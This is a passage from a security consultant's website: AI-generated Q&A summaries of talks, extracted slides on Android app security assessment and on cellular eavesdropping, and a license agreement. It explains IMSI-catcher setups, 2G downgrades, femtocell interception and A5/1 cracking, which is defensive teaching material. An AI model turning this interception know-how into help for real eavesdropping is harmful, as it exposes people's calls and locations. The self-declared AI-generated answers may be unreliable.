discussed? A: The emphasis on consensus and hesitation to report bad news, which can hinder incident response. * Q: What is the 'Galapagos Effect' in Japanese IT? A: The tendency for Japanese technology to evolve in isolation, creating unique legacy challenges. * Q: What is the recommendation for 'Cross-Cultural Communication'? A: Clear, data-driven reporting that avoids ambiguity. * Q: What is the 'Talent Pipeline' challenge in Japan? A: A severe shortage of cybersecurity professionals due to lack of academic programs. * Q: What is the role of 'External Advisors'? A: To provide an objective perspective and validate internal findings. * Q: What is the 'Visualization' strategy? A: Using dashboards to bridge the language gap and show status clearly. * Q: What is the 'Community Sharing' initiative? A: Encouraging Japanese companies to share threat intel (e.g., via ISACs). * Q: What tool is suggested for 'Language Agnostic' analysis? A: Network traffic analysis and visualizing flows. * Q: What is the 'Kaizen' approach to SOCs? A: Continuous, incremental improvement of processes. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1jbakjU4h6WIntTVlxoj1P_InkKSB8kJG/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1jbakjU4h6WIntTVlxoj1P_InkKSB8kJG/view?usp=drive_link]** --- ## Source: https://montance.com/questions.php?id=103 [![pdf](content/images/icons/pdf.svg) Crowley\_SOC\_Summit.pdf](https://drive.google.com/file/d/1iJ_anYVxfPSMa02S5uTOWxRF1w1EOMO0/view?usp=drive_link) Crowley SOC Summit Presentation on SOC tactics and strategies. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the central theme of the Crowley SOC Summit presentation? A: The evolution of SOCs and the need to adapt to mobile and cloud threats. * Q: What is the 'OODA Loop' applied to SOCs? A: Observe, Orient, Decide, Act - a cycle for rapid incident response. * Q: What is the 'SOC Triad' defined in this presentation? A: Command Center, Network Security Monitoring, and Threat Intelligence. * Q: What is the 'Analyst Burnout' factor? A: The high turnover rate caused by repetitive work and alert fatigue. * Q: What is the recommended 'Shift Length' for SOC analysts? A: Ideally 8-10 hours to maintain alertness, avoiding 12-hour shifts where possible. * Q: How should 'Metrics' be used in a SOC? A: To drive improvement and justify budget, not just to report activity counts. * Q: What is the 'Fusion Center' model? A: Integrating cyber threat intelligence with physical security and fraud detection. * Q: What is the role of 'Active Defense'? A: Proactively engaging adversaries to disrupt their attacks (e.g., honeypots, annoyance). * Q: What is the 'Skills Gap' solution proposed? A: Internal training and mentorship programs rather than relying solely on hiring 'unicorns'. * Q: What is the importance of 'Business Alignment'? A: Ensuring SOC activities directly support the organization's mission and risk appetite. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1iJ_anYVxfPSMa02S5uTOWxRF1w1EOMO0/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1iJ_anYVxfPSMa02S5uTOWxRF1w1EOMO0/view?usp=drive_link]** --- ## Source: https://montance.com/questions.php?id=102 [![pdf](content/images/icons/pdf.svg) penTest HackFest AndroidCodeInspection.pdf](https://drive.google.com/file/d/1iDMUiq9U2K4sSmW2ukMPfY0YyByfRnTa/view?usp=drive_link) Pentest Hackfest Androidcodeinspection Guide to static and dynamic analysis of Android applications. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the main topic of the Android Code Inspection presentation? A: Static and dynamic analysis of Android applications for security vulnerabilities. * Q: What tool is recommended for decompiling Android APKs? A: JADX (or dex2jar + JD-GUI). * Q: What is the 'AndroidManifest.xml' file? A: A critical file that defines the app's structure, permissions, and components. * Q: What is 'Exported Activity' vulnerability? A: An activity that can be launched by other apps, potentially bypassing security checks. * Q: What is 'Hardcoded Secrets' analysis? A: Searching the code for API keys, passwords, or cryptographic keys. * Q: What tool is used for 'Dynamic Instrumentation'? A: Frida or Xposed Framework. * Q: What is 'Certificate Pinning' bypass? A: A technique to force an app to accept a proxy's certificate for traffic interception. * Q: What is 'Insecure Data Storage'? A: Storing sensitive data (like credentials) in plaintext in SharedPreferences or SQLite databases. * Q: What is 'Drozer'? A: A comprehensive security assessment framework for Android. * Q: What is the risk of 'WebView' vulnerabilities? A: They can allow Cross-Site Scripting (XSS) or access to local files from a web page. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1iDMUiq9U2K4sSmW2ukMPfY0YyByfRnTa/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1iDMUiq9U2K4sSmW2ukMPfY0YyByfRnTa/view?usp=drive_link]** Android Application Assessment © 2013 Christopher Crowley 1Android Application Assessment Inspecting Android Applications for Known Issues Android Application Assessment © 2013 Christopher Crowley 2Mobile •Ubiquitous •Present new challenges to organizations •Challenge for Attackers (and the pen testers who emulate them) –Almost purely “client side” attack surface •Opportunities for Attackers –Data and service theft opportunity outside the traditional perimeter Android Application Assessment © 2013 Christopher Crowley 3Android (1) •Serious mobile malware problem –“Android is responsible for 92% of all known mobile malware…” •Juniper Networks Third Annual Mobile Threats Report - March 2012 through March 2013 •Android Update Problem –4% of deployed Android devices have latest OS •Majority of devices in the World are Android –“Platform -wise, Android grew the fastest during the quarter, by 79% year -on-year. It powered 190 million, or 80%, of the smart phones shipped in Q2 [2013].” Android Application Assessment © 2013 Christopher Crowley 4Android (2) •Questionable apps use the same behaviors as malware –“FireEye researchers have discovered a rapidly - growing class of mobile threats represented by a popular ad library affecting apps with over 200 million downloads in total. This ad library, anonymized as “Vulna ,” is aggressive at collecting sensitive data and is able to perform dangerous operations such as downloading and running new components on demand .” Android Application Assessment © 2013 Christopher Crowley 5Android (3) •The methodology I will talk about is applicable to apps on any other mobile platform: iOS, Windows Phone, Blackberry… •The tools will be different, though •Android uses Dalvik Executable Apps –Bytecode compiled Java –Not Oracle ™ Java Runtime –Open Handset Alliance Dalvik Runtime Android Application Assessment © 2013 Christopher Crowley 6Threats •Primary threat to Android devices is mobile malware –SMS premium rate messages cost people money –Private Data Theft •Pen test objective is to model the threats associated with running the apps •Non-malware threats use the same methods as malware Android Application Assessment © 2013 Christopher Crowley 7Threat Characteristics •Financial Theft •Privilege Escalation •Command and Control •Code updates without user awareness •Data Exfiltration •Code Obfuscation •Anti-security and Anti -awareness code Android Application Assessment © 2013 Christopher Crowley 8Assessing Mobile Apps (1) •Risk from mobile applications –Low – app poses little or no threat to device and data on device –Moderate – app poses some threat to device protective measures and data stored on device –High – app is likely to circumvent device protective measures and/or exfiltrate private data •All address book data to a server •Intent with poor filtering Android Application Assessment © 2013 Christopher Crowley 9Assessing Mobile Apps (2) •Checklist of actions to perform for mobile app assessment •Checklists are effective in this context •Helps to build in house knowledge for ongoing assessment, once the org starts to assess apps, you are responsible to do so for evermore… Android Application Assessment © 2013 Christopher Crowley 10Checklist •Checklists are not sexy (at all) •But checklists have proven to be extremely effective at preventing common mistakes –Pre-flight checklist “On the other hand, other entries (read: FUEL QUANTITY -- VISUALLY EXAMINE) have literally hundreds upon hundreds of examples in the NTSB database .” –Medical Checklist “…the checklist has evolved from being perceived as an assault on the practitioners' integrity to being welcomed as an important tool in reducing complications and preventing medical errors .” Android Application Assessment © 2013 Christopher Crowley 11Two Types of Assessments •Behavioral –Use a sandbox environment –Watch file access, network traffic, SMS messages, Calls –Easier when dealing with obfuscated code –App may not misbehave while you’re watching •Static Code Analysis –More challenging –More thorough (if done properly) –Can detect latent behaviors, long running timers and triggered events Android Application Assessment © 2013 Christopher Crowley 12Android Behavioral Analysis - 1 •Android Behavioral Analysis –Install APK and run it •Need devices or virtual devices and instrumented network to capture traffic –Track •Read & write file system access •Network traffic –Servers contacted –Data sent –Code downloaded Android Application Assessment © 2013 Christopher Crowley 13Automated Behavioral Analysis - 1 •Android Behavioral Analysis –DroidBox –Has switched to APIMonitor to overcome latency of TaintDroid updates –Reporting still sucks (just text), but information provided is very good –APIMonitor doesn’t adequately deal with all code, and is still Beta Android Application Assessment © 2013 Christopher Crowley 14Automated Behavioral Analysis - 2 •Anubis –Upload . apk File –Report with actions – static & behavioral •Permissions requested & used •Potentially malicious functions •Files accessed •Network Traffic –Anubis App to automate upload http://anubis.iseclab.org/ Android Application Assessment © 2013 Christopher Crowley 15Android Static Analysis - 1 •Android Static Analysis –Applications for Android come in the form of Android Packages (APK) –APKs contain a Dalvik Executable (DEX), a Manifest, and other files –DEX is bit code compiled Java code •We can use two different approaches to extract Java code from DEX files Android Application Assessment © 2013 Christopher Crowley 16Android Static Analysis - 2 •Android Static Analysis –This is a challenging thing to do! –There are some tools that are available to help with automation –Look at a few of these, then dig into a manual method Android Application Assessment © 2013 Christopher Crowley 17Automated Static Analysis - 1 •Androwarn –Local static assessment –Produces HTML report of potentially sensitive actions based on the function calls present in the code –Available from: https:// github.com/maaaaz/androwarn Android Application Assessment © 2013 Christopher Crowley 18Automated Static Analysis - 2 •Mobile Sandbox –Upload File –Produces HTML report online with potentially sensitive actions based on the function calls present in the code •Permissions requested & used •Potentially malicious functions •Intents Android Application Assessment © 2013 Christopher Crowley 19Automated Static Analysis - 3 •Badger Application Analysis http://davidson -www.cs.wisc.edu/baa/ –Upload File –App available to automate upload –Online report also gallery of previously uploaded apps •Permissions requested •Potentially malicious functions •Ad libraries utilized Android Application Assessment © 2013 Christopher Crowley 20Automated Analysis - 4 •Stowaway –Online assessment, requires upload of the apk file to the server at http://www.android - permissions.org / –Gives a listing of the permissions requested, and if the permissions are actually used –Currently offline, unknown return date Android Application Assessment © 2013 Christopher Crowley 21Manual Analysis - 1 •BOOT (Boot Completed) –BOOT COMPLETED SMS •(SMS/MMS) SMS RECEIVED –WAP PUSH RECEIVED •NET ( Network) –CONNECTIVITY CHANGE –PICK WIFI WORK –CALL •(Phone Events ) PHONE STATE –NEW OUTGOING CALL •USB ( USB Storage ) –UMS CONNECTED –UMS DISCONNECTED •MAIN ( Main Activity) –ACTION MAIN•PKG (Package) –PACKAGE ADDED –PACKAGE REMOVED –PACKAGE CHANGED –PACKAGE REPLACED –PACKAGE RESTARTED –PACKAGE INSTALL •BATT (Power/Battery) –ACTION POWER CONNECTED –ACTION POWER DISCONNECTED –BATTERY LOW –BATTERY OKAY –BATTERY CHANGED ACTION •SYS (System Events) –USER PRESENT –INPUT METHOD CHANGED –SIG STR –SIM FULL•System calls we’re looking for Android Application Assessment © 2013 Christopher Crowley 22Manual Analysis - 2 •Manual code inspection provides the most thorough assessment •Requires the most skill •Objective is to help you develop a methodology for quickly scouring code for known suspicious functions •Could use Eclipse + FindBugs ™ •Could decompile and do string search Android Application Assessment © 2013 Christopher Crowley 23Eclipse •Eclipse is a development environment •Provides opportunity for code review –But this is manual –Need to know java fairly well to know what to look for –We can help resolve this with FindBugs ™ Android Application Assessment © 2013 Christopher Crowley 24FindBugs ™ •FindBugs ™ is a suite of checks for known programming flaws •It is intended to help programmers to avoid known, common errors •We are going to adapt it to our purpose of looking for code that is suspicious and warrants review Android Application Assessment © 2013 Christopher Crowley 25Install Eclipse •http://www.eclipse.org/downloads •Download eclipse classic •Install default –Next, next, finish ; -) Android Application Assessment © 2013 Christopher Crowley 26Install FindBugs ™ - 1 •Eclipse: Help ->“Install New Software…” Android Application Assessment © 2013 Christopher Crowley 27Install FindBugs ™ - 2 •Click Add… •Enter “ FindBugs update site” (no quotes) for the name •Enter “http://findbugs.cs.u md.edu/eclipse” (no quotes) as the Location •Click “OK” Android Application Assessment © 2013 Christopher Crowley 28Install FindBugs ™ - 3 •Click “Select All” •Click “Next” Android Application Assessment © 2013 Christopher Crowley 29Install FindBugs ™ - 4 •Accept license •Ugh. Accept the warning Android Application Assessment © 2013 Christopher Crowley 30Sidebar – Android Package downloads •Where can you get the code to assess? –Download . apk file from internet –Move application to removable sdcard , then remove sdcard and copy –Copy . apk file from rooted android device •Malware –http://contagiominidump.blogspot.com is a repository of known android malware •Good material to practice with, but be careful with malware! •See me for password scheme Android Application Assessment © 2013 Christopher Crowley 31Dalvik to Java - 1 •Now we need to have java code to import into eclipse •We will use the APK files to inspect the code. •There are two main ways to do this –Apktool /smali –Dex2jar and Procyon Android Application Assessment © 2013 Christopher Crowley 32Dalvik to Java - 2 •Use apktool /smali to get executable, but difficult to read java code •Use dex2jar and Procyon to get readable , but non-executable java code •You will end up doing both •You want this code to view for matching Android Application Assessment © 2013 Christopher Crowley 33 APK disassembly – smali •Smali and apktool method •Results in code that can be modified and recompiled Apktool d Package.apk (edit class files if you like) Apktool r Package.apk Android Application Assessment © 2013 Christopher Crowley 34 APK disassembly – Procyon •Procyon method – can be used on class files or jar files /home/bin/dex2jar/dex2jar.sh the_app.apk java -jar procyon_decompiler.jar /path/to/the_app_dex2jar.jar Import Code into Eclipse (instructions follow) or use grep Android Application Assessment © 2013 Christopher Crowley 35Quick and Dirty Search •At this point, with Java files, do a grep for permissions and function calls of interest –Rudimentary, subject to evasion, but a good litmus test unzip the_app.apk java –jar /path/to/AXMLprinter2.jar AndroidManifest.xml > AndroidManifest.txt more AndroidManifest.txt ## review perms cd /path/to/ procyon_output_dir grep –Rf file_of_suspect_functions ./ Android Application Assessment © 2013 Christopher Crowley 36Quick and Dirty Search Example •Use of an Intent grep –Ri “putextra .*android \.intent” /path/to/ procyon_output_dir /* Android Application Assessment © 2013 Christopher Crowley 37 Import Code to Eclipse for FindBugs •1) Create new project Android Application Assessment © 2013 Christopher Crowley 38 Import Code to Eclipse •2) Create new project Android Application Assessment © 2013 Christopher Crowley 39 Import Code to Eclipse •3) Create new project Android Application Assessment © 2013 Christopher Crowley 40 Import Code to Eclipse •4) Create new project Android Application Assessment © 2013 Christopher Crowley 41 Import Code to Eclipse •1) Import external archive Android Application Assessment © 2013 Christopher Crowley 42Customize FindBugs •I’m not a java programmer •It is actually easier in grep •This is opportunity for sharing checks Edit java file with patterns and compile Update findbugs.xml and messages.xml Build .jar file Incorporate into findbugs Android Application Assessment © 2013 Christopher Crowley 43Edit Java and Compile - 1 •I worked within the findbugs -contrib framework, so I can eventually contribute to that •I emulated the “ MoreDumbMethods ” code, identifying offending methods, creating “ AndroidSuspectMethods ” •Not yet ready to contrib •Needs more work in detection and more samples Android Application Assessment © 2013 Christopher Crowley 44Edit Java and Compile - 2 •Compiled .java into .class javac -classpath /home/cc/.eclipse/org.eclipse.platform_3.7.0_793567567 /plugins/edu.umd.cs.findbugs.plugin.eclipse_2.0.2.20121 210/lib/annotations.jar:/home/cc/.eclipse/org.eclipse.plat form_3.7.0_793567567/plugins/edu.umd.cs.findbugs.plu gin.eclipse_2.0.2.20121210/lib/asm - 3.3.jar:/home/cc/.eclipse/org.eclipse.platform_3.7.0_793 567567/plugins/edu.umd.cs.findbugs.plugin.eclipse_2.0.2 .20121210/lib/asm -commons -3.3.jar [classpath_trimmed ] AndroidSuspectMethods.java Android Application Assessment © 2013 Christopher Crowley 45Update FindBugs Contrib files •Copy new file .class into detect sub -directory •Update findbugs.xml –Definition of the detector class –Definition of the detector pattern •messages.xml –Details of the detector classes •Create new jar file –jar –cvf ../fb-contrib_updated.jar ./* •Copy jar file into eclipse plugin/ directory •Install additional plugin in eclipse Android Application Assessment © 2013 Christopher Crowley 46Assure Checks are Enabled Android Application Assessment © 2013 Christopher Crowley 47 Run FindBugs Android Application Assessment © 2013 Christopher Crowley 48 FindBugs Results Android Application Assessment © 2013 Christopher Crowley 49Conclusion •App Assessment is a valuable task to protect individuals and organizations –Behavioral –Automated code analysis –Static code analysis •Android has substantial threats from malware •Malware exhibits all the bad behaviors, good for a pen tester to comprehend and emulate Android Application Assessment © 2013 Christopher Crowley 50Contact Info •chris@montance.com –LinkedIn / e -mail •+ChrisCrowley –G+ •@CCrowMontance –#Twitter •http:// bit.ly/1epx2Tl –slide deck & checklist --- ## Source: https://montance.com/questions.php?id=101 [![pdf](content/images/icons/pdf.svg) CellularEavesdropping SD.pdf](https://drive.google.com/file/d/1iCK8fiTXvdX668ARCl0m-Vcjj7kdXYtP/view?usp=drive_link) Cellulareavesdropping Sd Presentation on cellular network vulnerabilities and eavesdropping techniques. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary vulnerability discussed regarding 2G/3G/4G networks? A: The lack of mutual authentication in older protocols (2G) allowing for impersonation. * Q: What is an 'IMSI Catcher'? A: A device that mimics a legitimate cell tower to intercept mobile traffic and track users. * Q: How does a 'Downgrade Attack' facilitate eavesdropping? A: It forces a 4G/LTE device to connect to a less secure 2G network where encryption is weak or nonexistent. * Q: What is 'A5/1'? A: The encryption algorithm used in GSM (2G) which has been cryptographically broken. * Q: What is 'Femtocell' exploitation? A: Compromising a small, home-based cellular base station to intercept traffic or gain access to the carrier network. * Q: What is the significance of 'SS7' vulnerabilities? A: They allow attackers to intercept calls and SMS messages, and track locations across global networks. * Q: Why is 'air interface' encryption insufficient? A: It only protects traffic between the device and the tower; it does not protect data in the carrier's backhaul network. * Q: What tool is mentioned for cellular network analysis? A: OpenBTS (Open Base Transceiver Station). * Q: What is the risk of 'pre-shared keys' in SIM cards? A: If the key database is compromised (as in the Gemalto hack), encryption can be bypassed. * Q: What mitigation is suggested for high-risk users? A: Using end-to-end encrypted voice and messaging apps (e.g., Signal) instead of standard cellular services. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1iCK8fiTXvdX668ARCl0m-Vcjj7kdXYtP/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1iCK8fiTXvdX668ARCl0m-Vcjj7kdXYtP/view?usp=drive_link]** Cellular Threat Landscape Current Eavesdropping Related Vulnerabilities, Threats, and Associated Risk in Cellular Communication •chris@montance.com –Email if you would like to provide feedback or info –a copy of the slides: http://bit.ly/crow -cell-eaves –Or if you have additional information related to the topic •@CCrowMontance •+ChrisCrowley Scope •Discussion of Cellular 2G/3G/4G networks and the opportunities for compromise of confidentiality and integrity of data on said networks •Interception / tampering feasibility •Cellular substantially more secure than WiFi –Likely to remain so –But cost of interception coming down Summary •No public crypto attacks against 4G –Possibly force handset to downgrade via DOS •Easier way to attack is to present your own cell tower –Multiple known scenarios for this –Cost and access to equipment is the barrier to implementation •Cell providers are extending the “trusted” network to home users over internet •Some Vulnerabilities, Threats, and Attack Vectors present in environment Agenda •Details and Background on Cellular networks •Threat Vectors –Impersonation, Eavesdropping, DoS •Vulnerabilities •Known Attacks Details, details •Legal issue surrounding operating on the radio frequencies used by cellular devices •US FCC manages spectrum use •Not legal to intercept on the frequencies for 3G / 4G •Information is based on public resources •More research out of Europe on crypto attacks Background •GSM •UTMS (3G) •3GPP specified 4G mobile network, called Evolved Packet System (EPS) –LTE is 3GPP Release 10, but –3GPP Release 8 already introduced a new radio technology called LTE (Long Term Evolution ) • 4G LTE –Proposed 2004 –Implemented ~2010 in North America Background •2G (GSM/GPRS) –1 way auth (network –> handset) •3G –2 way auth (network < –> handset) •4G LTE –2 way auth (network < –> handset) –IP based –IPSec Threats •(Obligatory CIA – DAD preface) •Confidentiality breach is disclosure •Integrity breach is alteration •Availability breach is destruction Threats – Evil Twin (Confidentiality) •Untrusted network entices device to connect •LTE provides mutual authentication of the device to the network and the network to the device •2G GSM doesn’t provide that, so an evil twin network attack is feasible Threats – Eavesdropping (Confidentiality) •Network Infrastructure is trusted, but content is tapped –Will explore specific attacks for this –Threat exists because network infrastructure is out of your control, and you’re not privileged to inspect / assess / monitor the network –VPN is reasonable mitigation Threats – Manipulation (Integrity) •No known tools that allow on the fly editing of conversation using previously recorded content •But, the scenario would be that attacker violates confidentiality, records sufficient lexicon of spoken words to allow manipulation of conversation in real time •Old school example (but slow): –A dark cloud. A pall. –A pall. –Pall. –Paul Threats – DoS (Availability) •No common/widespread examples of cellular interruption from tools •Several examples of oversubscription during emergencies, rendering networks unable to establish calls –data / sms more tolerant of congestion than telephone call establishment Vulnerabilities •Weakness in SIM implementation •Weakness in crypto implementation –GSM issues identified –No LTE crypto issues identified yet Attacks – Kingfisher/Stingray •Stingray use by Law Enforcement •Device sold by Harris Corp •Without addressing the political and legal issues around the implementation, it is an excellent example of the style of attack •Cellular station connects nearby cell phones •LE deploys, connects all nearby phones, accesses only data needed for investigation Attacks – OpenBTS •Range Networks: OpenBTS –$2K gives you a 2G cellular station –Calls, SMS capable Attacks – OpenBTS •Other Hardware: OpenBTS –Ettus Research (~$650) –Nuand x40 (~$400) or x115 (~$650) –Calls, SMS –IMSI catcher Attacks – openLTE •Open source of LTE standard in software •Nuand hardware device can implement: •OpenBTS & OpenLTE (Dec, 2013) •Nuand bladerf x115 is $650 •No LTE call support for phones Attacks – Interception •Multiple positions for interception throughout the 3G / 4G network –Femtocell –Mobile Operator network – wiretap –Mobile Operator network – compromised devices –Mobile Operator network – insider threat Attacks – Interception Femtocell •Mobile Operators offer cellular base station to extend range •July 2013 – Blackhat (Ritter and Deperry ) attacks against femtocell –Voice recording –iMessage (SSL blocked, fall back to SMS) •July 2011 – instructions for rooting Verizon Femtocell •2013 Inguardians – Femtocell root no longer available after blackhat disclosure Attacks – Interception Femtocell •Mobile Operators offer cellular base station to extend range –Within 15 ft to initiate, 40 ft to retain connection •The weakest link in the cellular network •No current attacks against femtocell TLS implementation known, but might be interesting to explore possible attacks –TLS cert manipulation –TLS implementation flaws Attacks – Interception MO net - wiretap •Mobile Operators must (US legal requirement) provide access to Law Enforcement •Since they control the network, they are in a position to intercept the content •Control of infrastructure doesn’t defeat VPN use riding over the Cellular infrastructure Attacks – Interception MO net – compromised devices •Mobile Operators networks are subject to vulnerabilities and threats as is any other network of equipment •Unauthorized access to traffic, potentially to data Attacks – Interception MO net – insider threat •Mobile Operators networks can be purposefully misconfigured •People with sufficient credentials could monitor / intercept communications Attacks – Crypto •Known crypto attacks against GSM •SIM Contains –International Mobile Subscriber Identity (IMSI ) –Temporary Mobile Subscriber Identity (TMSI ) –secret Ki (pre-shared between network and SIM ) Attacks – Crypto (GSM - 1) •Developed 1990 •Mobile Subscriber (MS) doesn’t authenticate network •Network (BTS) Authenticates SIM by exchange –RAND delivered to MS –MS calculates A3 algorithm response (SRES) based on RAND, Ki •No crypto initial •session Key Kc derived by A8 algorithm Attacks – Crypto (GSM - 2) •After successful handshake, A5/1 (or weaker A5/2 encryption used ) using Kc derived from A8 negotiation •A5/0 is no encryption – downgrade opportunity •A5/1 is 64 -bit stream cipher •A5/2 64 -bit also, but weaker implemented due to some countries crypto requirements •Probably COMP128 algorithm –Spec not published –Mobile Operators might elect another alg •A5/3 (3GPP updated alg for GSM) Attacks – Crypto (GSM - 3) •After successful handshake, A5/1 (or weaker A5/2 encryption used ) using Kc derived from A8 negotiation •A5/1 is 64 -bit stream cipher •A5/2 64 -bit also, but weaker implemented due to some countries crypto requirements Attacks – Crypto (GSM - 4) •By sending RAND values over the air to phone •160,000 worst case the Ki can be derived [1998] •8-15 hours to complete over the air •Doesn’t need to be continuous access (can be multiple sessions) because the Ki never changes •Additional research showed with physical access to SIM 255 – 1,000 guesses based on careful RAND selection –Down to 8 guesses with adaptive RAND selection [2002] Attacks – Crypto (GSM - 5) •ciphertext -only attack on A5/1 is provided in [Barkan2008] –that GSM does some error correction before the actual encryption Attacks – Crypto (GSM - 6) •Kraken -Nohl [Nohl2010 ] –Cipher Mode Complete (known plaintext) –System Information (also known plaintext) –Distinguished Points & Rainbow Tables optimization for attack via Kraken in GSM –2TB storage for GSM optimized tables (one month to generate tables) –Secret key accessed w/ 90% success, in 5 seconds if known plaintext is acquired Attacks – Crypto (GSM - 7) •A5/3 is available for GSM –Not implemented –Big improvement is a block cipher over stream cipher (in A5/1 and A5/2) resulting in decreased opportunity for TMTO (time -memory trade off) attacks •No known feasible attacks on A5/3 •chris@montance.com –Email if you have questions or thoughts –Or if you have additional information related to the topic •@CCrowMontance •+ChrisCrowley •Contributing cellular chapter to forthcoming Counterhack book by Josh Wright Summary •No public crypto attacks against 4G –Possibly force handset to downgrade via DOS •Easier way to attack is to present your own cell tower –Multiple known scenarios for this –Cost and access to equipment is the barrier to implementation •Cell providers are extending the “trusted” network to home users over internet •Some Vulnerabilities, Threats, and Attack Vectors present in environment --- ## Source: https://montance.com/content/pdf/license.pdf **[PDF Extracted from https://montance.com/content/pdf/license.pdf]** Page 1 of 4 LICENSE AGREEMENT By purchasing and using the Security Operations Center Gantt Chart (“Chart”) provided to you by Montance, LLC (Company), you (“you”, “your”) are agreeing to be bound by the terms of this License Agreement (“Agreement”). You represent you have the legal capacity and authority to accept these legal terms and conditions on behalf of yourself and any party you represent. Certain terms of this Agreement may not apply to your use of the Chart however all applicable terms are nonetheless binding. 1. GRANT OF RIGHTS. Subject to the terms of this Agreement and your payment of the applicable license fees (“License Fees”), Company grants you the limited, non-exclusive, worldwide, royalty-free, revocable, non-transferable right and license to use, manipulate, and implement the Chart in connection with your business operations. Your use of the Chart is strictly limited to the use option you have chosen and the applicable License Fees you have paid. Your use of the Chart may either be: a. Single Use: Your use will be strictly limited to a single use and implementation of the Chart. Company will have the right to review your use, either on-site or remotely, from time to time, to determine your compliance with the terms of this Agreement. You acknowledge and agree to such use monitoring and enforcement by Company through appropriate means. b. Unlimited Use: You may use the Chart an unlimited number of times for an unlimited number of implementations. 2. OWNERSHIP. The Chart and all associated materials provided by Company are the solely owned or appropriately licensed property of Company. Company explicitly retains ownership of all intellectual property rights including copyright in the Chart. You may use your own name, logo(s), imprint(s), and any other marking(s) in conjunction with your use of the Chart hereunder, in any format you desire. The Chart is licensed, not sold, to you under the terms of this Agreement. Company does not sell any title, ownership right, or interest in or to the Chart. Any remuneration paid constitutes a license fee for the use of the Chart. 3. USE. a. The Chart and all other related materials or content related to the Chart are protected by copyrights, trademarks, service marks, trade secrets, or other proprietary rights and laws. The copying, reproduction, duplication, adaptation, modification, or alteration of the Chart or any portion thereof is expressly prohibited without the prior written consent of Company except as provided for herein. The creation of derivative works from the Chart, or any portion thereof, is expressly prohibited without the prior Page 2 of 4 written consent of Company. b. Neither the Chart nor any part thereof may be rented, leased, sold, assigned, transferred, sub-licensed, or conveyed by you for any purpose. Any attempted rental, lease, sale, assignment, transfer, sublicense, conveyance, gift, or other disposition of the Chart by you in violation of this Agreement is null and void and you will be liable for all damages resulting therefrom. 4. DELIVERY. Company will deliver the Chart to you following receipt by Company of your payment and your agreement with this Agreement. The Chart will be delivered in an industry standard format, via email to such email address you provide Company when purchasing. Company will not be liable for any technological malfunction or failure resulting in corruption or loss of the Chart or for material lost or damaged in transmission. 5. LICENSE FEES. In consideration of the rights granted herein, you agree to pay to Company the applicable License Fees at the time of the initial purchase hereunder, together with all applicable taxes or other duties or levies. Company warrants that the License Fees are full and complete consideration for the rights to the Chart granted herein. No rights are granted hereunder until Company receives payment in full. If you do not pay all amounts due, all rights granted herein shall terminate. Company may utilize a third party to process payments and you hereby authorize Company to use third parties, and consent to the disclosure of your payment information to such third party. 6. REPRESENTATION AND WARRANTIES. a. Company represents and warrants that it owns or controls all rights in and to the Chart being licensed hereunder and that it has the legal right to grant this license and that you will not be required to pay further monies with respect to the rights granted and the exploitation of such rights in this Agreement. Company has the full and unobstructed right to license any materials, including all intellectual property, contained in the Chart to you. b. Company will not do any act or thing or fail to do any act or thing, or knowingly permit or allow any other person or entity to do any act or thing or fail to do any act or thing, which will contradict, counter, or otherwise impair the covenants, purposes, or intentions of this Agreement. c. You may only use the Chart in accordance with this Agreement and for the purpose of exercising your rights hereunder. d. You will not knowingly permit or allow any other person or entity to do any act or thing, or fail to do any act or thing, which will impair Company’s interest in and to Page 3 of 4 the Chart, including without limitation, the copyrights therein. 7. NO JOINT VENTURE . Nothing contained herein will be construed to constitute the parties as partners or joint venturers nor deem any party the agent of any other party, nor will any similar relationship be deemed to exist between them. 8. TERMINATION. This Agreement will terminate upon the mutual written agreement of the parties or upon written notice by a party for a material breach by the other party of its obligations under this Agreement if not cured within 10 days following the other party’s receipt thereof. All provisions which by their nature should survive the termination of this Agreement will so survive. Within 10 days after termination of this Agreement for any reason, you will return to Company the Chart and all related content or materials, or will permanently delete and destroy all the foregoing. Any further use or display of the Chart will be in violation of Company’s rights and this Agreement. 9. ASSIGNMENT. Company may assign this Agreement and its rights and obligations hereunder to any entity with or into which Company may merge or consolidate, or to which the Company may transfer all or substantially all of its assets or business, if in any such case said entity will by operation of law or expressly in writing assume all obligations of Company hereunder as fully as if it had been originally made a party hereto. You may not assign or transfer this Agreement or any rights or obligations hereunder. 10. DISCLAIMER OF WARRANTY. The Chart and all related materials and content is provided “as is”, with all faults and without warranty of any kind. Company hereby disclaims all warranties with respect to the Chart either express, implied, or statutory, including but not limited to the implied warranties of merchantability, satisfactory quality, fitness for a particular purpose, accuracy, and non-infringement of third party rights. Company does not warrant, guarantee, or make any representations that the Chart is reliable or accurate, that it will meet your needs or requirements, or that any defects or errors will be corrected. You use the Chart at your own risk. No oral or written communications from Company will create a warranty or in any way increase the scope of this Agreement and you may not rely on any such communications. Some jurisdictions do not allow the exclusion or limitation of certain warranties or consumer rights so some exclusions or limitations may not apply to you but they will apply to the maximum extent permitted by law. 11. LIMITATION OF LIABILITY. You hereby agree that Company, its directors, officers, agents, contractors, partners, and employees, will not be liable to you or any third party for any indirect, special, consequential, or incidental damages including but not limited to damages for loss of funds or property, business interruption, loss of business opportunity, or any other hardship, damages, or losses arising out of or related to: the use or inability to use the Chart, however caused; statements or conduct of any third party; or any matter relating to Page 4 of 4 the use of the 